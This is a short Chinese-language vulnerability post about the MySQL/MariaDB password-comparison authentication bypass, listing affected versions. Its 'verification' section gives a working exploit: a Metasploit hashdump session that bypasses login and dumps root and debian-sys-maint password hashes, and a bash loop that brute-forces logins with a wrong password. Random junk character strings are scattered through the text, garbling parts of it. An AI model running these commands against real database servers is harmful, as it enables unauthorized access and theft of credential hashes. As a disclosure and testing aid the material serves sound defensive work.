当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
+ U/ g& ~9 M7 n0 D+ C- I
) ~9 S# ~( s) f. |# q8 q0 s也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
8 g+ p: z! t) }' J/ a6 u* y0 ? K0 ~5 f
+ g: }3 k3 \) D: B" y5 a8 W% O受影响的产品:
/ P" n3 y* y/ J6 A; wAll MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are2 e2 U+ r; n: |; ~
vulnerable.
0 D' _9 R7 s/ m2 i, m+ l; NMariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.. ]# q( m! ]7 o3 [
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not., D/ W1 |" S, K0 w. U. L, l
+ _3 y& n* ^7 [9 h, C4 n4 F
验证方法:
2 o7 |; {' @2 U8 `
( B6 y9 f" m) [+ X) ]7 f) u& A$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed! v& W+ W s6 F A$ [4 { k2 y
3 N; O1 I6 R" Z' a9 g% I! @ $ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>2 v" _! ?0 z+ Z ]( E, }* ~
|